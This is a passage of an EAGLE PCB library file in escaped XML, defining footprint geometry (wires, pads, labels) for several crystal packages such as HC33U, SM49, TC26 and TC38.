curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"-1.905\" x2=\"-4.445\" y2=\"-2.54\" width=\"0.4064\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.318\" y1=\"-1.905\" x2=\"4.318\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"-1.905\" x2=\"4.445\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.778\" x2=\"4.445\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"1.905\" x2=\"4.445\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"1.905\" x2=\"-4.318\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"1.778\" x2=\"-4.318\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"1.778\" x2=\"-4.445\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.318\" y1=\"-1.905\" x2=\"-4.445\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"1.27\" x2=\"-0.3302\" y2=\"-1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"-1.27\" x2=\"0.3048\" y2=\"-1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"-1.27\" x2=\"0.3048\" y2=\"1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"1.27\" x2=\"-0.3302\" y2=\"1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"1.27\" x2=\"0.9398\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"1.27\" x2=\"-0.9398\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"0\" x2=\"0.9398\" y2=\"-1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"0\" x2=\"-0.9398\" y2=\"-1.27\" width=\"0.3048\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-5.0546\" y=\"3.2766\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-4.6228\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.715\" y1=\"-3.175\" x2=\"5.715\" y2=\"3.175\" layer=\"43\"/>\n</package>\n<package name=\"HC33U-H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-9.906\" y1=\"-3.048\" x2=\"-9.271\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"-3.048\" x2=\"9.271\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"-3.048\" x2=\"9.906\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"16.51\" x2=\"-8.636\" y2=\"16.51\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"15.875\" x2=\"-8.636\" y2=\"16.51\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.636\" y1=\"16.51\" x2=\"9.271\" y2=\"15.875\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.017\" y1=\"7.62\" x2=\"9.017\" y2=\"7.62\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"13.97\" x2=\"-0.3302\" y2=\"11.43\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"11.43\" x2=\"0.3048\" y2=\"11.43\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"11.43\" x2=\"0.3048\" y2=\"13.97\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"13.97\" x2=\"-0.3302\" y2=\"13.97\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"13.97\" x2=\"0.9398\" y2=\"12.7\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"13.97\" x2=\"-0.9398\" y2=\"12.7\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"12.7\" x2=\"1.905\" y2=\"12.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"12.7\" x2=\"0.9398\" y2=\"11.43\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"12.7\" x2=\"-1.905\" y2=\"12.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"12.7\" x2=\"-0.9398\" y2=\"11.43\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"9.144\" y1=\"7.62\" x2=\"10.16\" y2=\"7.62\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-10.16\" y1=\"7.62\" x2=\"-9.144\" y2=\"7.62\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.223\" y1=\"-3.175\" x2=\"-6.223\" y2=\"-5.08\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"6.223\" y1=\"-3.175\" x2=\"6.223\" y2=\"-5.08\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"9.271\" y1=\"8.128\" x2=\"9.271\" y2=\"15.875\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"7.112\" x2=\"9.271\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"8.128\" x2=\"9.271\" y2=\"7.112\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-9.271\" y1=\"7.112\" x2=\"-9.271\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"8.128\" x2=\"-9.271\" y2=\"15.875\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"8.128\" x2=\"-9.271\" y2=\"7.112\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.223\" y=\"-5.08\" drill=\"1.016\"/>\n<pad name=\"2\" x=\"6.223\" y=\"-5.08\" drill=\"1.016\"/>\n<pad name=\"M\" x=\"-10.16\" y=\"7.62\" drill=\"0.8128\"/>\n<pad name=\"M1\" x=\"10.16\" y=\"7.62\" drill=\"0.8128\"/>\n<text x=\"-7.62\" y=\"17.272\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.35\" y=\"2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-7.62\" y1=\"-3.175\" x2=\"-6.985\" y2=\"16.51\" layer=\"21\"/>\n<rectangle x1=\"6.985\" y1=\"-3.175\" x2=\"7.62\" y2=\"16.51\" layer=\"21\"/>\n<rectangle x1=\"-10.795\" y1=\"-5.715\" x2=\"10.795\" y2=\"17.145\" layer=\"43\"/>\n</package>\n<package name=\"HC33U-V\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-0.3302\" y1=\"2.54\" x2=\"-0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"2.54\" x2=\"-0.3302\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9652\" y1=\"2.54\" x2=\"0.9652\" y2=\"1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9652\" y1=\"2.54\" x2=\"-0.9652\" y2=\"1.27\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9652\" y1=\"1.27\" x2=\"1.905\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9652\" y1=\"1.27\" x2=\"0.9652\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9652\" y1=\"1.27\" x2=\"-1.905\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9652\" y1=\"1.27\" x2=\"-0.9652\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"4.064\" x2=\"5.207\" y2=\"4.064\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"-4.064\" x2=\"5.207\" y2=\"-4.064\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"-3.683\" x2=\"5.207\" y2=\"-3.683\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"3.683\" x2=\"5.207\" y2=\"3.683\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"-3.683\" x2=\"-5.207\" y2=\"3.683\" width=\"0.0508\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"5.207\" y1=\"3.683\" x2=\"5.207\" y2=\"-3.683\" width=\"0.0508\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"5.207\" y1=\"4.064\" x2=\"5.207\" y2=\"-4.064\" width=\"0.254\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"-5.207\" y1=\"4.064\" x2=\"-5.207\" y2=\"-4.064\" width=\"0.254\" layer=\"21\" curve=\"180\"/>\n<pad name=\"1\" x=\"-6.223\" y=\"0\" drill=\"1.016\"/>\n<pad name=\"2\" x=\"6.223\" y=\"0\" drill=\"1.016\"/>\n<text x=\"-5.08\" y=\"4.826\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-8.255\" y1=\"-3.81\" x2=\"-6.985\" y2=\"3.81\" layer=\"43\"/>\n<rectangle x1=\"-8.89\" y1=\"-3.175\" x2=\"-8.255\" y2=\"3.175\" layer=\"43\"/>\n<rectangle x1=\"-9.525\" y1=\"-2.54\" x2=\"-8.89\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"-6.985\" y1=\"-4.445\" x2=\"6.985\" y2=\"4.445\" layer=\"43\"/>\n<rectangle x1=\"6.985\" y1=\"-3.81\" x2=\"8.255\" y2=\"3.81\" layer=\"43\"/>\n<rectangle x1=\"8.255\" y1=\"-3.175\" x2=\"8.89\" y2=\"3.175\" layer=\"43\"/>\n<rectangle x1=\"8.89\" y1=\"-2.54\" x2=\"9.525\" y2=\"2.54\" layer=\"43\"/>\n</package>\n<package name=\"SM49\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"5.109\" y2=\"-1.1429\" width=\"0.0508\" layer=\"21\" curve=\"55.771157\"/>\n<wire x1=\"5.715\" y1=\"-1.143\" x2=\"5.715\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.1091\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\" curve=\"55.772485\"/>\n<wire x1=\"-5.715\" y1=\"-1.143\" x2=\"-5.715\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"1.27\" x2=\"3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"2.032\" x2=\"3.429\" y2=\"2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.461\" y1=\"2.413\" x2=\"5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"0.381\" x2=\"-6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-0.381\" x2=\"-6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"0.381\" x2=\"-6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"2.159\" x2=\"-5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.715\" y1=\"1.143\" x2=\"-5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"2.159\" x2=\"-5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.9826\" y1=\"1.143\" x2=\"-3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"-3.9826\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"-5.1091\" y1=\"1.143\" x2=\"-3.429\" y2=\"2.0321\" width=\"0.0508\" layer=\"21\" curve=\"-55.770993\"/>\n<wire x1=\"-3.9826\" y1=\"1.143\" x2=\"-3.9826\" y2=\"-1.143\" width=\"0.0508\" layer=\"51\" curve=\"128.314524\"/>\n<wire x1=\"-5.1091\" y1=\"1.143\" x2=\"-5.1091\" y2=\"-1.143\" width=\"0.0508\" layer=\"51\" curve=\"68.456213\"/>\n<wire x1=\"3.429\" y1=\"2.032\" x2=\"5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-55.772485\"/>\n<wire x1=\"3.9826\" y1=\"1.143\" x2=\"3.9826\" y2=\"-1.143\" width=\"0.0508\" layer=\"51\" curve=\"-128.314524\"/>\n<wire x1=\"3.429\" y1=\"1.27\" x2=\"3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"3.9826\" y2=\"-1.143\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"6.477\" y1=\"0.381\" x2=\"6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1091\" y1=\"1.143\" x2=\"5.1091\" y2=\"-1.143\" width=\"0.0508\" layer=\"51\" curve=\"-68.456213\"/>\n<wire x1=\"5.715\" y1=\"1.143\" x2=\"5.715\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"0.381\" x2=\"5.715\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"-0.381\" x2=\"5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"2.159\" x2=\"5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"2.413\" x2=\"5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"5.715\" y1=\"0.381\" x2=\"6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"-0.381\" x2=\"6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.461\" y1=\"-2.413\" x2=\"5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"-2.159\" x2=\"-5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.461\" y1=\"-2.413\" x2=\"5.715\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.143\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"1.143\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.826\" y=\"0\" dx=\"5.08\" dy=\"1.778\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.826\" y=\"0\" dx=\"5.08\" dy=\"1.778\" layer=\"1\"/>\n<text x=\"-5.715\" y=\"2.667\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.715\" y=\"-4.064\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-6.604\" y1=\"-2.54\" x2=\"6.604\" y2=\"2.794\" layer=\"43\"/>\n</package>\n<package name=\"TC26H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-0.889\" y1=\"1.651\" x2=\"0.889\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.762\" y1=\"7.747\" x2=\"1.016\" y2=\"7.493\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.016\" y1=\"7.493\" x2=\"-0.762\" y2=\"7.747\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.762\" y1=\"7.747\" x2=\"0.762\" y2=\"7.747\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.889\" y1=\"1.651\" x2=\"0.889\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.016\" y1=\"2.032\" x2=\"1.016\" y2=\"7.493\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.889\" y1=\"1.651\" x2=\"-0.889\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.016\" y1=\"2.032\" x2=\"-0.889\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.016\" y1=\"2.032\" x2=\"-1.016\" y2=\"7.493\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"0.762\" x2=\"0.508\" y2=\"1.143\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0.762\" x2=\"-0.508\" y2=\"1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"1.27\" y2=\"0\" width=\"0.4064\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-1.27\" y2=\"0\" width=\"0.4064\" layer=\"51\"/>\n<wire x1=\"-0.508\" y1=\"4.953\" x2=\"-0.508\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"4.572\" x2=\"-0.508\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"4.572\" x2=\"0.508\" y2=\"4.953\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"4.953\" x2=\"0.508\" y2=\"4.953\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"5.334\" x2=\"0\" y2=\"5.334\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"4.191\" x2=\"0\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.191\" x2=\"0\" y2=\"3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.191\" x2=\"0.508\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.334\" x2=\"0\" y2=\"5.842\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.334\" x2=\"0.508\" y2=\"5.334\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.016\" y1=\"2.032\" x2=\"0.889\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.889\" y1=\"2.032\" x2=\"-0.889\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-1.397\" y=\"2.032\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"2.667\" y=\"2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"0.3048\" y1=\"1.016\" x2=\"0.7112\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-0.7112\" y1=\"1.016\" x2=\"-0.3048\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-1.778\" y1=\"0.762\" x2=\"1.778\" y2=\"8.382\" layer=\"43\"/>\n</package>\n<package name=\"TC26V\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-0.127\" y1=\"-0.508\" x2=\"0.127\" y2=\"-0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"0.508\" x2=\"0.127\" y2=\"-0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"0.508\" x2=\"-0.127\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"-0.508\" x2=\"-0.127\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.381\" y1=\"-0.508\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"-0.508\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.381\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.381\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"1.016\" x2=\"0.7184\" y2=\"0.7184\" width=\"0.1524\" layer=\"21\" curve=\"-44.999323\"/>\n<wire x1=\"-0.7184\" y1=\"0.7184\" x2=\"0\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-44.999323\"/>\n<wire x1=\"-0.7184\" y1=\"-0.7184\" x2=\"0\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"44.999323\"/>\n<wire x1=\"0\" y1=\"-1.016\" x2=\"0.7184\" y2=\"-0.7184\" width=\"0.1524\" layer=\"21\" curve=\"44.999323\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-2.032\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.032\" y=\"-2.667\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"TC38H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-1.397\" y1=\"1.651\" x2=\"1.397\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"9.906\" x2=\"1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.524\" y1=\"9.652\" x2=\"-1.27\" y2=\"9.906\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.27\" y1=\"9.906\" x2=\"1.27\" y2=\"9.906\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.397\" y1=\"1.651\" x2=\"1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"2.032\" x2=\"1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"2.032\" x2=\"1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.397\" y1=\"1.651\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"2.032\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"2.032\" x2=\"-1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.397\" y1=\"2.032\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.5588\" y1=\"0.7112\" x2=\"0.508\" y2=\"0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"0.762\" x2=\"0.508\" y2=\"1.143\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0.762\" x2=\"-0.508\" y2=\"1.016\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.5588\" y1=\"0.7112\" x2=\"-0.508\" y2=\"0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"1.27\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-1.27\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.762\" y1=\"5.588\" x2=\"-0.762\" y2=\"5.207\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.762\" y1=\"5.207\" x2=\"-0.762\" y2=\"5.207\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.762\" y1=\"5.207\" x2=\"0.762\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"5.588\" x2=\"0.762\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"5.969\" x2=\"0\" y2=\"5.969\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"4.826\" x2=\"0\" y2=\"4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.826\" x2=\"0\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.826\" x2=\"0.762\" y2=\"4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.969\" x2=\"0\" y2=\"6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.969\" x2=\"0.762\" y2=\"5.969\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-1.905\" y=\"2.032\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.175\" y=\"2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"0.3048\" y1=\"1.016\" x2=\"0.7112\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-0.7112\" y1=\"1.016\" x2=\"-0.3048\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-1.778\" y1=\"1.016\" x2=\"1.778\" y2=\"10.414\" 